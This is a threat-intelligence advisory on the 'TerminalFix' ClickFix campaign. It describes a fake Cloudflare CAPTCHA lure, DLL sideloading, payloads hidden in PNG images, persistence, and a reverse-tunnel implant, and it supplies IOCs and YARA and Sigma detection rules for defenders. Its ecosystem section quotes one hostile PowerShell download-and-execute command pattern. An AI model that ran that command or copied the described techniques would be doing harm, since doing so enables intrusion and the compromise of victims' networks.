1. Executive summary
An unattributed actor is running a "TerminalFix" campaign — a variant of the ClickFix social-engineering technique that tricks users into pasting a malicious PowerShell command from a fake Cloudflare CAPTCHA overlay into Windows Terminal or PowerShell. Unlike typical ClickFix operations that deliver a single infostealer, this chain combines DLL sideloading via a signed Microsoft binary, steganographic payload extraction from PNG images, dual persistence, and extensive Active Directory reconnaissance, culminating in a custom Python-based reverse-tunnel implant that gives the attacker SOCKS-style TCP proxy access through the victim's network. Microsoft Threat Intelligence states the campaign targets organisations across multiple industries; Microsoft declined to disclose victim counts or attribution to The Register, and no MITRE actor profile exists for the operator — treat attribution as unconfirmed. No CVE is involved and no CISA-KEV exploitation state applies; the risk to EMEA financial services is user-driven initial access converting an endpoint compromise into a persistent internal-network pivot, which is the classic precursor to hands-on-keyboard ransomware and data-exfiltration operations.
2. Regulatory framing
| Article | Trigger (the fact in this item) | Practical impact |
|---|---|---|
| DORA Art. 17: ICT-related incident management process | The reverse-tunnel implant converts an affected host into a network pivot point, and Microsoft explicitly advises treating affected devices as potential pivot points and investigating for lateral movement and credential exposure — i.e., a defined incident-response workflow for identifying and containing compromised endpoints. | Clients need a rehearsed process to detect, isolate and forensically triage any host matching this chain, including retrospective review of internal hosts reachable from it. |
| DORA Art. 18: classification of ICT-related incidents and cyber threats | A persistent reverse tunnel with AD reconnaissance on an internal host is a candidate major incident, but Microsoft did not observe downstream actions (exfiltration, ransomware) in the analysed chain — the classification decision must be made on the potential impact of network-level access, not observed impact. | Incident classification should weigh the pivot/tunnel capability itself; document the rationale in case the incident escalates to Art. 19 reporting. |
| NIS2 Art. 23: incident reporting obligations | For in-scope NIS2 entities, a confirmed reverse-tunnel implant with domain-admin enumeration on an internal host plausibly meets significant-impact thresholds and engages early-warning/notification duties on the client's own assessment timeline. | Trigger the internal reporting clock on detection; do not wait for observed exfiltration, which Microsoft states it did not observe. |
No specific DORA Art. 19 reporting obligation is asserted here — whether an incident is "major" depends on the client's own classification under Art. 18, and the source material does not establish observed downstream impact.
3. Technical analysis & attack chain
Attribution caveat: No actor or criminal crew has been identified; Microsoft declined to answer The Register's questions on victim counts and attribution, and no MITRE ATT&CK actor profile exists for this operator. All attribution statements should be treated as unconfirmed. The technical chain below is corroborated by both Microsoft Threat Intelligence and The Register's reporting; the Malwarebytes source describes the broader ClickFix ecosystem and shared infrastructure, not this specific chain.
Confirmed attack chain:
- Initial access — fake CAPTCHA on a compromised website. A compromised website displays a fake Cloudflare Turnstile "verify you are human" overlay with a Cloudflare logo. The user is instructed to copy a "verification" command; the page copies it to the clipboard. TerminalFix directs the user to paste into Windows Terminal or PowerShell rather than the Windows Run dialog, which increases the likelihood that complex, multi-line scripts execute successfully.
- PowerShell download stage. The pasted command runs a hidden PowerShell script that prints a fake "Starting Cloudflare verification…" message, downloads a ZIP archive from attacker-controlled infrastructure, extracts it under
C:\ProgramData, and silently launches a batch file named1.bat. - DLL sideloading.
1.batexecutesLockScreenContentServer.exe— a legitimate, signed Windows binary — which automatically loads the co-located maliciousdui70.dll(purporting to be a "Windows DirectUI Engine"). The sideloaded DLL executes a second-stage PowerShell script. - Steganographic payload retrieval. The second-stage PowerShell downloads three PNG images from attacker domains. It extracts an executable from the first image and two halves of the DLL from the second and third images, reassembling the components on disk. The payload is split across multiple PNGs to defeat content inspection; after extraction, the source images are deleted to reduce forensic artifacts.
- Persistence. Redundant persistence via
HKCU\…\Runregistry keys and scheduled tasks that re-executeLockScreenContentServer.exeevery 60 minutes, ensuring survival of reboots. - Reconnaissance. The malware collects system information across multiple language configurations (English, Spanish, German) and performs domain trust discovery, domain admin enumeration, and Active Directory user and computer searches. It also pings targeted, named servers corresponding to common infrastructure roles — domain controllers, databases, backup, gateways, and mail systems — to identify accessible targets for follow-on activity.
- Command file-watch loop. A persistent PowerShell file-watch loop monitors a text file for new commands, executes them via
Invoke-Expression, and writes results to an output file. This gives the attacker arbitrary PowerShell execution by writing to the text file. - Reverse-tunnel implant. A custom, Python-based reverse-tunnel implant launches with no visible window via
pythonw.exeand establishes a reverse WebSocket tunnel to gitnow[.]dev:443. Combined with the reconnaissance data, this provides SOCKS-style TCP proxy access through the victim's network.
Observed impact and boundary of the observed chain: Microsoft states it did not observe downstream actions (privilege escalation, disabling security controls, data exfiltration, ransomware) in the analysed chain, but warns that the hands-on-keyboard phase that typically follows leverages exactly this access. Treat any affected host as a network pivot point.
Ecosystem context (single-sourced, Malwarebytes): Broader ClickFix campaigns active since at least late 2025 use fake Google and Cloudflare verification pages sharing infrastructure, delivering HijackLoader, StealC, Remus, Amatera Stealer, CastleLoader, NetSupport and a Rust-based stealer, with a typical copied-command pattern of powershell -c "iex(irm '{IP}:{Port}/{Random Path}' -UseBasicParsing)" and observed ports 6600, 9900, 5506, 7895, 7493, 149, 8442. This describes the wider ClickFix landscape, not the TerminalFix chain specifically — do not treat those ports or payloads as TerminalFix IOCs.
4. Mitigation & containment
P1 — within 24 hours
- Hunt for the chain, not just the implant. Search EDR/telemetry for:
LockScreenContentServer.exeexecutions, especially fromC:\ProgramData; thedui70.dllfilename in write/load events;pythonw.exespawning with no visible window and initiating outbound WebSocket connections to port 443; PowerShell processes with-WindowStyle Hiddenoriex/irmdownload cradles; scheduled tasks with a 60-minute trigger re-executingLockScreenContentServer.exe; newHKCU\…\Runvalues pointing atLockScreenContentServer.exe. - Block the C2 domain
gitnow[.]devat proxy, DNS and firewall egress layers. Note this is a legitimate developer-services domain being abused as a tunnel endpoint — block with that context and monitor rather than assume the domain itself is malicious infrastructure. - Isolate any confirmed-compromised host immediately. Given the AD reconnaissance and tunnel, do not merely clean: treat the host as a pivot point and investigate lateral movement and credential exposure per Microsoft's guidance — review authentication events from that host toward domain controllers, database, backup, gateway and mail servers.
- Audit credential exposure: rotate credentials for any accounts authenticated on affected hosts; domain-admin enumeration was performed, so review unusual DA logon patterns.
P2 — within 72 hours
- Constrain PowerShell per Microsoft's recommendation: restrict PowerShell execution (constrained language mode, script block logging, AMSI, JEA where feasible) and block or audit the Windows Run dialog (Win+R) if not needed for daily work. Enable PowerShell transcript/script-block logging to catch
Invoke-Expressionusage from the file-watch loop. - Baseline egress: the tunnel masquerades as HTTPS on 443 via WebSocket. Ensure TLS inspection covers WebSocket upgrades and alert on long-lived outbound WebSocket sessions from workstations, particularly from
pythonw.exe. - Review scheduled tasks and Run keys enterprise-wide for the 60-minute re-execution pattern; EDR canaries on
C:\ProgramDatawrites of executables/DLLs by non-installer processes. - User awareness targeting this exact lure: train staff on ClickFix/TerminalFix tactics — no legitimate CAPTCHA or verification flow requires pasting a command into Terminal, PowerShell or the Run dialog. Malwarebytes notes Browser Guard-class tooling can warn when a site writes to the clipboard, which is the delivery mechanism here.
P3 — within 7 days
- Application control: block or alert on
pythonw.exeexecution on standard user endpoints where Python is not a business requirement — this is the tunnel's launch vehicle. - Steganography-aware mail/web inspection: the payload evades content-type inspection inside PNGs; ensure egress/inspection policy does not treat image downloads as low-risk by default.
- Table-top the pivot scenario: the chain's end-state (internal SOCKS proxy) is the precursor to hands-on-keyboard intrusion; validate that detection, isolation and reporting runbooks (per §2) work for a "compromised workstation as pivot" scenario.
5. Indicators of compromise
Only indicators present in the source material are listed. Microsoft's blog states it publishes IOCs, but the fetched excerpt does not include the IOC table; the items below are those named in the technical narrative. No file hashes are available in the provided sources.
| Type | Value | Confidence | Source |
|---|---|---|---|
| domain | gitnow[.]dev | High — named as the reverse-tunnel WebSocket endpoint | Microsoft / The Register |
| filename | LockScreenContentServer.exe | High — sideloading host and persistence payload | Microsoft / The Register |
| filename | dui70.dll | High — malicious sideloaded DLL | Microsoft / The Register |
| filepath | C:\ProgramData (ZIP extraction and payload location) | High | Microsoft / The Register |
| filename | 1.bat | High — launcher batch file | The Register |
| behaviour | Scheduled task re-executing LockScreenContentServer.exe every 60 minutes | High | Microsoft / The Register |
| behaviour | HKCU Run key persistence pointing at LockScreenContentServer.exe | High | Microsoft / The Register |
| behaviour | pythonw.exe launching hidden reverse WebSocket tunnel on port 443 | High | Microsoft / The Register |
domain gitnow[.]dev
filename LockScreenContentServer.exe
filename dui70.dll
filename 1.bat
filepath C:\ProgramData
Behavioural indicators (not machine-pivotable atomics; excluded from the block above):
| Behaviour | Where to observe | Confidence |
|---|---|---|
| Fake "Starting Cloudflare verification…" console message from pasted PowerShell | PowerShell console/transcript logs, screen-capture tooling | High |
| Three PNG downloads followed by PNG deletion, executable/DLL reassembly on disk | EDR file-write and delete telemetry, proxy logs | High |
| File-watch loop executing commands via Invoke-Expression from a monitored text file | PowerShell script-block logging | High |
| Ping sweeps targeting named DC, database, backup, gateway and mail servers | ICMP telemetry, EDR network events | High |
| Clipboard-written PowerShell command from fake Cloudflare Turnstile overlay | Browser security tooling, web proxy logs for compromised-site referrers | Medium |
6. Detection
rule TerminalFix_Reverse_Tunnel_Chain_Artifacts
{
meta:
author = "Adverse Trace"
date = "2026-08-31"
reference = "https://www.microsoft.com/en-us/security/blog/2026/08/28/terminalfix-campaign-deploys-reverse-tunnel-through-multistage-intrusion/"
description = "Detects artifacts of the TerminalFix ClickFix campaign: sideloaded dui70.dll, LockScreenContentServer.exe launcher, fake Cloudflare verification lure, and gitnow.dev WebSocket C2."
tlp = "AMBER"
strings:
$sideload_dll = "dui70.dll" wide ascii
$host_exe = "LockScreenContentServer.exe" wide ascii
$lure1 = "Starting Cloudflare verification" wide ascii
$lure2 = "verify you are human" wide ascii
$c2 = "gitnow.dev" wide ascii
$batch = "1.bat" wide ascii
condition:
3 of them
}
title: TerminalFix ClickFix - LockScreenContentServer.exe execution from ProgramData
id: 8f3c1a52-6d94-4e77-9b21-2f5a8c0d1e34
status: experimental
description: Detects execution of LockScreenContentServer.exe, the signed sideloading host used by the TerminalFix campaign, particularly from C:\ProgramData where the malicious ZIP is extracted.
references:
- https://www.microsoft.com/en-us/security/blog/2026/08/28/terminalfix-campaign-deploys-reverse-tunnel-through-multistage-intrusion/
- https://www.theregister.com/security/2026/08/31/attack-hides-malware-in-pngs-and-drops-custom-reverse-tunnel-on-victims-machines/5293480
tags:
- attack.execution
- attack.defense_evasion
- attack.t1574.002
author: Adverse Trace
date: 2026/08/31
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\LockScreenContentServer.exe'
filter_programdata:
Image|startswith: 'C:\ProgramData\'
condition: selection
falsepositives:
- Legitimate use of the signed binary from its original install path; validate signature path and parent process
level: high
title: TerminalFix - pythonw.exe hidden reverse WebSocket tunnel to gitnow.dev
id: c4a97e20-1b3f-4d8a-9e55-70c2f6b8a19d
status: experimental
description: Detects the Python-based reverse-tunnel implant launched via pythonw.exe connecting to the attacker WebSocket C2 on port 443.
references:
- https://www.microsoft.com/en-us/security/blog/2026/08/28/terminalfix-campaign-deploys-reverse-tunnel-through-multistage-intrusion/
author: Adverse Trace
date: 2026/08/31
logsource:
category: network_connection
product: windows
detection:
selection_process:
Image|endswith: '\pythonw.exe'
selection_dest:
DestinationHostname|endswith: '.gitnow.dev'
DestinationPort: 443
condition: all of them
falsepositives:
- Legitimate developer use of gitnow.dev; correlate with pythonw.exe execution on standard user endpoints
level: high
title: TerminalFix - Scheduled task or Run key re-executing LockScreenContentServer.exe every 60 minutes
id: 2e6b904d-5f13-47c2-8a44-9d0e7b3c5f81
status: experimental
description: Detects the redundant persistence mechanism of the TerminalFix campaign - scheduled tasks and HKCU Run keys re-executing the sideloading host on a 60-minute cycle.
references:
- https://www.microsoft.com/en-us/security/blog/2026/08/28/terminalfix-campaign-deploys-reverse-tunnel-through-multistage-intrusion/
author: Adverse Trace
date: 2026/08/31
logsource:
category: process_creation
product: windows
detection:
selection_task:
ParentImage|endswith: '\taskhostw.exe'
Image|endswith: '\LockScreenContentServer.exe'
selection_runkey:
Image|endswith: '\LockScreenContentServer.exe'
ParentImage|endswith: '\explorer.exe'
condition: 1 of them
falsepositives:
- Rare; validate image path and presence of co-located dui70.dll
level: high
7. Sources
- Microsoft Threat Intelligence — TerminalFix campaign deploys a reverse tunnel through multistage intrusion — https://www.microsoft.com/en-us/security/blog/2026/08/28/terminalfix-campaign-deploys-reverse-tunnel-through-multistage-intrusion/ — 2026-08-28
- The Register — Attack hides malware in PNGs and drops custom reverse tunnel on victims' machines — https://www.theregister.com/security/2026/08/31/attack-hides-malware-in-pngs-and-drops-custom-reverse-tunnel-on-victims-machines/5293480 — 2026-08-31
- The Hacker News — TerminalFix Uses Fake Cloudflare CAPTCHAs to Deploy Reverse-Tunnel Backdoor — https://thehackernews.com/2026/08/terminalfix-uses-fake-cloudflare.html — 2026-08
- Malwarebytes Labs — Fake Google and Cloudflare verification pages spread multiple malware families — https://www.malwarebytes.com/blog/threat-intel/2026/07/fake-google-and-cloudflare-verification-pages-spread-multiple-malware-families — 2026-07 (context on the wider ClickFix ecosystem only)
8. Adverse Trace position
This is a high-impact, unattributed initial-access and network-pivot campaign with no CVE and no patch to apply — the exposure is behavioural, and the defence is a combination of PowerShell hardening, egress visibility over WebSocket/443, and user awareness of the paste-a-command lure. Severity for EMEA financial services is high where workstations can reach domain controllers, backup and mail infrastructure from user contexts, because the observed chain delivers exactly the reconnaissance-plus-tunnel posture that precedes hands-on-keyboard intrusion; Microsoft did not observe exfiltration or ransomware in this chain, and we do not assert them. Attribution is unconfirmed — no actor has been named and no MITRE profile exists — and the IOC set available in the fetched material is limited to filenames, one C2 domain and behaviours; the fuller Microsoft IOC table was not available to us, so the indicators above are single-sourced to the Microsoft narrative as reported through Microsoft and The Register, and clients should pull Microsoft's published IOC list directly before enforcement. We will update this advisory if Microsoft releases victim-count or attribution detail, if the C2 infrastructure rotates, or if downstream hands-on-keyboard activity is observed.
Published via PulseTrace — Adverse Trace threat intelligence.